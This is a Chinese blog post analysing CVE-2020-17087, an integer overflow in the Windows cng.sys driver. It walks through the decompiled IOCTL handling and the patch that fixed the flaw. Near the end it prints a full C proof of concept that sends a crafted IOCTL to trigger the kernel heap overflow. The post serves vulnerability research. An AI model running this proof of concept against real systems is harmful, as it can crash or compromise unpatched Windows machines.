CVE-2020-17087逆向分析

最新推荐文章于 2022-01-26 19:32:19 发布
置顶 最新推荐文章于 2022-01-26 19:32:19 发布
阅读量771 收藏
点赞数 2
分类专栏： C/C++ 汇编 系统安全 文章标签： 安全
1
本文链接：https://blog.csdn.net/weixin_43815930/article/details/114123728
版权
C/C++ 同时被 3 个专栏收录
23 篇文章 3 订阅
订阅专栏
系统安全
6 篇文章 0 订阅
订阅专栏
汇编
3 篇文章 0 订阅
订阅专栏

文章写了很久今天才发现一直是草稿状态。。。。

----------------------------------分割线---------------------------------------

漏洞逆向分析

17087是一个位于Cng.sys内核中的一个整形溢出漏洞，因为整形溢出导致内存申请大小不足，导致内存溢出，此内核主要用于各种加密算法以及其Key的管理，此内核暴露了大量的ioctl code供应用层程序调用。
先使用windbg查看内核发生溢出后的函数调用栈
在这里插入图片描述
去掉nt!剩下的cng!便是漏洞触发时的函数调用顺序，自下而上
，找到产生溢出的函数
在这里插入图片描述

用我写了一半的fuzz工具（一直划水，开发进度缓慢目前大部分功能还没写出来，也就只能做做ioctl code探测了…）探测一下哪些ioctl可用，这些ioctl code大致从0x390000开始到0x390400结束，除了0x390073的错误码看不出来是什么问题外，其他的大致都是参数错误，0x390400是输入缓冲区过小
在这里插入图片描述
以上大致为应用层可用的ioctl code，17087出现在0x390400ioctl code处理中
先来从DriverEntry找找分发函数
在这里插入图片描述
直接进去
在分析inbuff与outbuff时会有点问题，那就是这两个都是从IRP结构体中的一个共用体中取值的，所以ida默认逆出来的代码实际上应该是有误的，需要手动选择共用体成员
在CngDispatch函数中inbuff默认应该是这样取值的
在这里插入图片描述

去微软查官方文档会发现masterirp应该是
在这里插入图片描述

然而这种情况在此代码的前后逻辑中似乎并不合理，再观察AssociatedIrp共用体会发现systembuffer
在这里插入图片描述
systembuffer通常会用于拷贝存放应用层传来的数据，大致推断这里逻辑上应该是取systembuffer，然后再来看outbuff

![在这里插入图片描述](https://img-blog.csdnimg.cn/20210226123850914.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgxNTkzMA==,size_16,color_FFFFFF,t_70
如果不满足上面条件则
在这里插入图片描述
这里不太好推断，但是结合最上面的if就不难了
在这里插入图片描述
这个宏用来获取请求的方式根据上面那个判断如果等于2就从mdladdress中获取否则从masterirp（实际上是systembuffer）中获取，然后再来看看
在这里插入图片描述
而2正好是METHOD_OUT_DIRECT的值，而0x390400&3的值刚好是0也就是METHOD_BUFFERED
在这里插入图片描述
现在大概就能分析出这一段的逻辑了
在这里插入图片描述
首先通过ioctl code获取请求方式如果是METHOD_OUT_DIRECT就从mdladdress获取outbuff，从systembuffer中获取inbuff，否则就从systembuffer中同时获取inbuff与outbuff，然后将所需值传入CngDeviceControl函数
在这里插入图片描述
进入CngDeviceControl函数会先进行ioctl code选择判断，我们直接找到0x390400
在这里插入图片描述
当然这些变量参数名不会自动变成这样，需要手动分析然后再改名，这里我们再直接进入ConfigIoHandler_Safeguarded函数
在这里插入图片描述

这里v7等于outbuff_size，这里会判断输出缓冲区是否大于等于8，如果大于等于8，则会申请两块大小与inbuff相同的内存
然后将v6的数据移动到内存块1中，v6实际上就是inbuff
在这里插入图片描述
第二块内存全部初始化为0，然后进入IoUnpack_SG_ParamBlock_Header函数
在这里插入图片描述
这里v17等于inbuff_size，flags是一个未初始化的unsigned int 型变量，v12还是指向第二块内存
这里前半部分主要是对一些指针做一些检查
在这里插入图片描述

需要注意的地方

在这里插入图片描述
因为这里使用类型转换将inbuff_size_buff转换成了dword类型，所以这里会将inbuff的第四个字节开始的四个字节数据存入flags里
后半部分的两个if作用差不多，在经过一系列指针检查后，会将第二块内存的第8个字节处置为-1
在这里插入图片描述
然后跳出，回到ConfigIoHandler_Safeguarded函数
在这里插入图片描述
然后会对IoUnpack_SG_ParamBlock_Header函数返回值进行判断，如果不为0就报错，否则之后会转入ConfigFunctionIoHandler函数，参数v18与v5分别是
在这里插入图片描述
v7等于outbuffsize
在这里插入图片描述
v5等于outbuff
在这里插入图片描述
然后进入ConfigFunctionIoHandler函数
在这里插入图片描述

这里会对flags也就是inbuff的第四个字节处开始的四个字节数据值进行判断，也就是说inbuff数据的第四个字节处开始的一个dword型数据值右移后必须要等于0/1/2
进入其中一个函数后，要注意
在这里插入图片描述
这里将flags的值转换成了__int16，16位也就相当于一个unsigned short类型的值，也就是说原本的高十六位会被截断，只保留低16位。
进入ConfigurationFuctionIoHandler函数
在这里插入图片描述
前三个参数已经声明出来了，后三个参数需要利用第三个参数来进行指针访问，在这里用了va_list那一系列函数来获取参数4、5、6
在这里插入图片描述
之后会进入IoUnpack_SG_Configuration_ParamBlock函数
在这里插入图片描述
如果参数15等于NULL则执行以下，这些函数处理逻辑都类似，都是对inbuff进行一些检查
在这里插入图片描述

后面还有更多的if和while看的人眼花缭乱，主要是对申请到的第二块内存mem2的指定偏移字节处的连续4个字节进行检查并且将其内存置为-1，分别是8-12字节，24-28字节，56-60字节，80-84字节，如果检查无误，就跳转回这一部分·
在这里插入图片描述
在这里插入图片描述

进入IoUnpack_SG_Buffer函数
在这里插入图片描述
先判断inbuff+偏移处地址是否可用，获取到偏移量后再判断mem2内存是否为空，然后对mem2的内存边界进行检查(&v9[a5]应该是a5+v9)，最后一个if应该是在对0x60偏移处进行内存检查，然后循环8次，将0x58-0x60八个字节置为-1，然后跳转至lable_10。
这里先要用inbuff+58处的数据加上inbuff的基址，来判断此地址是否为空，如果为空就返回0
在这里插入图片描述
如何会进行一系列内存检查
在这里插入图片描述
这里逻辑比较绕脑，他会先进行一次内存检查，然后减去inbuff基址再重新获取到inbuff+0x58处的数据。然后判断mem2是否为空，不为空则向下执行。然后在对mem2进行差不多的内存检查，然后会将inbuff+0x50处的数据与0x58处的数据和mem2基址相加，然后进行判断，由于mem2的大小与inbuff的大小相同，所以inbuff的字节大小应该为inbuff[0x50]+inbuff[0x58]

在这里插入图片描述
这里的v8等于inbuff+0x50处值，所以当检查无误后便开始循环。
还要看看IoUnpack_SG_SzString函数，此函数也会对内存进行与上面类似的检查，但它还会将inbuff的基址与inbuff+偏移中的值再写回inbuff+偏移中去
在这里插入图片描述
假设inbuff+0x10处的值为0x100，那此函数处理内存检查外，还会经0x100与inbuff的基址相加，再写回inbuff+0x10处


这里将inbuff指定偏移内存的值赋值给函数参数，这里要注意每次赋值是8个字节，回到ConfigurationFunctionIoHandler函数，总结这一块的大致功能就是检查inbuff与mem2的内存，并将inbuff中指定偏移位置的数据拷贝给指定的变量，如果函数返回非0说明有错误
在这里插入图片描述
然后转到v5==0x400的位置，
在这里插入图片描述

BCryptSetContextFunctionProperty函数中，首先使用一个if进行判断
在这里插入图片描述

然后会再用一个判断检查inbuff偏移地址0x50与0x58处
在这里插入图片描述
然后会运行到CfgReg_Acquire函数
在这里插入图片描述
此函数内将会对几个注册表键值进行读取验证
在这里插入图片描述
这里对System\CurrentControlSet\Control\Cryptography\Configuration\Local进行验证
在这里插入图片描述
这里对System\CurrentControlSet\Control\Cryptography\Configuration进行验证
在这里插入图片描述
还要注意如果inbuff+8处值为2，那就对System\CurrentControlSet\Control\Cryptography\Configuration\Domain进行检查验证
在这里插入图片描述
然后会初始化三个字符串
在这里插入图片描述
sourceString指向inbuff+0x10处在这里插入图片描述

v53指向inbuff+0x20处
在这里插入图片描述
然后会进入CfgAdtReportFunctionPropertyOperation函数
ng?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80MzgxNTkzMA==,size_16,color_FFFFFF,t_70)
v39的低16位为inbuff+0x50处值，v7等于inbuff+0x18，进去后
在这里插入图片描述

v26为inbuff+0x50处数据，然后还会对参数进行一系列检查，最后进入CfgAdtpFormatPropertyBlock函数
在这里插入图片描述
v8等于inbuff+0x58处数据，v26等于inbuff+0x50处数据
在这里插入图片描述
注意这里a2数据类型只有16位，两个字节
在这里插入图片描述
这里再申请内存时乘以6会出现上溢越乘越小的情况
在这里插入图片描述
这个循环会对刚刚申请的内存进行读写处理，v11是循环次数等于inbuff+0x50处数据，当0x50处数据乘以6大于0xffff时，漏洞就会触发。
poc:

#include <stdio.h>
#include <windows.h>

int main() {
	HANDLE hCng = CreateFileA("\\\\.\\GLOBALROOT\\Device\\Cng",
		GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

	if (hCng == NULL) {
		return 1;
	}
	//
	CONST DWORD DataBufferSize = 0xFFFF;
	CONST DWORD IoctlSize = 0x1000 + DataBufferSize;
	BYTE *IoctlData = (BYTE *)HeapAlloc(GetProcessHeap(), 0, IoctlSize);
	RtlZeroMemory(IoctlData, IoctlSize);

	*(DWORD*)&IoctlData[0x00] = 0x1A2B3C4D;
	*(DWORD*)&IoctlData[0x04] = 0x10400;
	*(DWORD*)&IoctlData[0x08] = 1;
	*(ULONGLONG*)&IoctlData[0x10] = 0x100;
	*(DWORD*)&IoctlData[0x18] = 6;
	*(ULONGLONG*)&IoctlData[0x20] = 0x200;
	*(ULONGLONG*)&IoctlData[0x28] = 0x300;
	*(ULONGLONG*)&IoctlData[0x30] = 0x400;
	*(DWORD*)&IoctlData[0x38] = 0;
	*(ULONGLONG*)&IoctlData[0x40] = 0x500;
	*(ULONGLONG*)&IoctlData[0x48] = 0x600;
	*(DWORD*)&IoctlData[0x50] = DataBufferSize; // OVERFLOW
	*(ULONGLONG*)&IoctlData[0x58] = 0x1000;
	*(ULONGLONG*)&IoctlData[0x60] = 0;
	RtlCopyMemory(&IoctlData[0x100], L"123456", 0x12);
	RtlCopyMemory(&IoctlData[0x200], L"abcdef", 0x12);
	RtlCopyMemory(&IoctlData[0x400], L"ghijkl", 0x12);

	ULONG_PTR OutputBuffer = 0;
	DWORD BytesReturned;
	BOOL Status = DeviceIoControl(
		hCng,
		0x390400,
		IoctlData,
		IoctlSize,
		&OutputBuffer,
		sizeof(OutputBuffer),
		&BytesReturned,
		NULL
	);

	HeapFree(GetProcessHeap(), 0, IoctlData);
	CloseHandle(hCng);

	return 0;
}

补丁逆向分析

直接定位到漏洞函数
在这里插入图片描述
在这里插入图片描述

比起原来的漏洞函数，多了RtlUShortMult函数，它会将inbuff+0x50处数据进行长度检查，如果先将inbuff+0x50*6的结果放入一个32位int型变量中，如果大于0xffff就返回-1，代表检查失败，v8=-1所以函数会直接退出不进行内存申请以及其他代码。

Anansi_safe
关注
  • 2
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
【权限提升】Linux Sudo权限提升漏洞(CVE-2023-22809)
做自己喜欢的事，并将其发挥到极致！
04-05 8338
sudo 允许系统管理员将权限委托给某些用户(或用户组),能够以ROOT用户或其他用户身份运行部分(或全部)命令。由于Sudo中的sudoedit对处理用户提供的环境变量（如SUDO_EDITOR、VISUAL和EDITOR）中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的 " –" 参数时，拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中，最终在目标系统上实现权限提升。
[0day在野利用] CVE-2020-17087: Microsoft cng.sys权限提升漏洞通告
爱国小白帽
11-02 1811
原创 360CERT [三六零CERT](javascript:void(0)???? 今天 报告编号：B6-2020-110203 报告来源：360CERT 报告作者：360CERT 更新日期：2020-11-02 0x01 漏洞简述 2020年11月02日，360CERT监测发现 Google Progect Zero 发布了 Winodws cng.sys 提权漏洞 的技术细节和验证POC，该漏洞编号为 CVE-2020-17087 ，漏洞等级：高危，漏洞评分：7.8。 未授权的攻击者通过 诱使用户
CVE-2020-15999,CVE-2020-17087:Chrome和Windows内核0-day漏洞在野
爱国小白帽
11-04 2520
Tenable研究院 [Tenable安全](javascript:void(0)???? 今天 Google Chrome（CVE-2020-15999）和Microsoft Windows（CVE-2020-17087）中的两个零日漏洞被链接在一起，并在有针对性的攻击中被广泛利用。在野的攻击还利用了一个单独的Chrome漏洞（CVE-2020-16009）。 01 背景 10月20日，Google发布了Chrome for Desktop的更新，以解决5个安全修复程序，其中的一项（CVE-2020-15
CVE-2020-1313:Windows Update Orchestrator服务特权提升漏洞的概念证明利用
03-18
CVE-2020-1313 抽象的 Windows Update Orchestrator服务是DCOM服务，其他组件使用该服务来安装已经下载的Windows更新。由于呼叫者的授权不当，USO易受特权提升（本地系统的任何用户）的攻击。该漏洞影响了Windows 10和Windows Server Core产品。由Microsoft在2020年6月星期二修补程序中修复。 漏洞 在usosvc.dll实现的UniversalOrchestrator服务（ 9C695035-48D2-4229-8B73-4C70E756E519 ）以NT_AUTHORITY\SYSTEM usosvc.dll运行，并已为BUILTIN\Users （以及其他BUILTIN\Users ）配置了访问权限。即使通过该服务实现的COM类的枚举被阻断（OLEView.NET：错误查询COM接口-的ClassFactor
警告：Google公开Windows零日漏洞
11-02 300
​ 谷歌已经披露了Windows操作系统中一个新的零日特权升级漏洞的详细信息，该漏洞黑客正在大量使用中。 ​特权提升（EoP）漏洞（跟踪为CVE-2020-17087）涉及存在缓冲区溢出问题，因为至少Windows 7的Windows内核密码驱动程序（“ cng.sys”）中的Windows 7可以被利用来进行沙箱转义。 ​谷歌零号项目研究人员Mateusz Jurczyk和Sergei Glazunov在技术文章中指出：“该错误存在于cng！CfgAdtpFormatPropertyBlock函数中，并
nginx-1.4.0:用于CVE-2013-2028的分析
05-14
**Nginx 1.4.0 及 CVE-2013-2028 漏洞分析** Nginx 是一个流行的开源 Web 服务器，以其高性能、稳定性及低内存消耗而闻名。在 Nginx 1.4.0 版本中，存在一个名为 CVE-2013-2028 的安全漏洞，这个漏洞允许攻击者通过...
CVE-2022-4510：Binwalk 远程代码执行漏洞
07-03
本文将深入探讨一个与二进制分析工具相关的安全事件，即"CVE-2022-4510：Binwalk 远程代码执行漏洞"。Binwalk是一款广泛使用的开源工具，主要用于固件分析、逆向工程和提取嵌入式系统的固件图像。这个漏洞可能导致...
002.Pegasus内核漏洞分析与利用(CVE-2016-4655 4656)1
08-08
本文主要讨论了Pegasus内核漏洞的分析与利用，涉及的漏洞是CVE-2016-4655和CVE-2016-4656，这两个漏洞曾在OS X和iOS操作系统中被Pegasus间谍软件所利用。以下是详细的知识点解析： 1. **Pegasus间谍软件**： - ...
信息安全_数据安全_macOS：How_to_Gain_Root_with_CVE-.pdf
08-22
在这个案例中，逆向工程师通过分析WindowServer的二进制代码找到了漏洞。 7. **漏洞研究与利用**：找到漏洞后，研究人员会研究如何构建可稳定复现的exploit。这涉及到对系统行为的深入理解，以及在不引起系统崩溃的...
hsctf-2015:为 HSCTF 2015 撰写的文章
06-03
4. **逆向工程**：参赛者可能需要对Java字节码进行分析，这涉及JVM（Java虚拟机）的工作原理，包括字节码指令集、类加载机制、方法调用等。使用工具如JD-GUI或 fernflower 反编译Java类文件，帮助理解代码逻辑。 5....
functions-and-classes:我创建供将来使用的函数和类的集合
04-04
功能和类 我创建供将来使用的函数和类的集合
“坏邻居”漏洞 CVE-2020-16898 的 Writeup
smellycat000的专栏
10-19 1349
聚焦源代码安全，网罗国内外最新资讯！编译：奇安信代码卫士团队微软在十月补丁星期二中修复了一个很有意思的漏洞 CVE-2020-16898。它是 Windows TCP/IP 远程代码执...
CVE-2020-2555-weblogic复现
Amdy_amdy的博客
04-14 2582
测试环境：centos6.5+weblogic12.2.1.4 攻击机：windows 10 脚本：https://github.com/wsfengfan/CVE-2020-2555 github上大佬的脚本 漏洞介绍： 一、漏洞简介 该反序列化的gadget存在与coherence包中。具体可以见分析 构造chain类似于common-collection的chain，可以照葫芦画...
CVE-2018-2883分析
I have a dream
03-27 376
参考链接：https://bbs.ichunqiu.com/thread-9720-1-1.html 实验环境： Win7 64 漏洞程序： Adobe Reader9.3.0 漏洞原因： 漏洞原因在cooltype.dll文件中，由strcat调用产生的栈溢出漏洞 strcat(dst,src)函数，由于dst的第一个字符变为00，因此连接时是将src直接复制到dst所在位置。而src特别...
CVE-2016-10229分析
omnispace的博客
01-21 1178
漏洞描述 Linux kernel是美国Linux基金会发布的操作系统Linux所使用的内核。Linux kernel 4.5之前的版本中的udp.c文件存在安全漏洞，Linux内核中的udp.c允许远程攻击者通过UDP流量执行任意代码，这些流量会在执行具有MSG_PEEK标志的recv系统调用时触发不安全的第二次校验和计算，远程攻击者可精心构造数据执行任意代码，进一步导致本地提权，属于高危漏洞
CVE-2017-11826漏洞利用样本分析
zz_strive_2012的专栏
10-19 3156
2017年10月10日，微软在例行的月度补丁中修复了一个漏洞编号为CVE-2017-11826的在野Microsoft Office 0day 漏洞。鉴于CVE-2017-11826已存在在野利用案例，金睛安全研究团队发布安全预警，提醒广大用户及时修补漏洞。 漏洞编号： CVE-2017-11826 漏洞影响软件： Microsoft Office Compatibil
[漏洞样本分析]CVE-2017-11882
r250414958的博客
11-01 3389
环境: Win7(专业版) office 2003 sp3(完全版) 工具: Ollydbg IDA Pro PEid Kali-Linux metasploit POC来源: https://github.com/embedi/CVE-2017-11882 漏洞介绍: 安全公司Embedi最早报告了漏洞，他们在一个老旧的微软工具Equation Editor中的EQNEDT32...
[漏洞分析] CVE-2021-4034 PolKit本地提权分析
热门推荐
Breeze的博客
01-26 1万+
CVE-2021-4034 漏洞分析以及调试，附带调试docker环境以及测试EXP。
〖EXP〗Windows提权CVE-2020-0787修改版WebShell可用
K8哥哥
08-30 1680
前言 2020年3月，微软公布了一个本地提权漏洞CVE-2020-0787，根据微软的漏洞描述声称，攻击者在使用低权限用户登录系统后，可以利用该漏洞构造恶意程序直接提权到administrator或者system权限。 Background Intelligent Transfer Service（BITS）是其中的一个后台智能传输服务组件。BITS中存在提权漏洞，该漏洞源于该服务无法正确处理符号链接。攻击者可通过执行特制的应用程序利用该漏洞覆盖目标文件，提升权限。 影响版本 Win7-Win10/2008
cve-2020-0796漏洞逆向分析
最新发布
11-21
对CVE-2020-0796漏洞进行逆向分析是为了深入了解其工作原理及漏洞利用的具体细节。逆向分析通常包括静态和动态分析两个方面。 首先，静态分析是通过对漏洞程序的反汇编、分析源代码或查看二进制文件等方法来了解...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值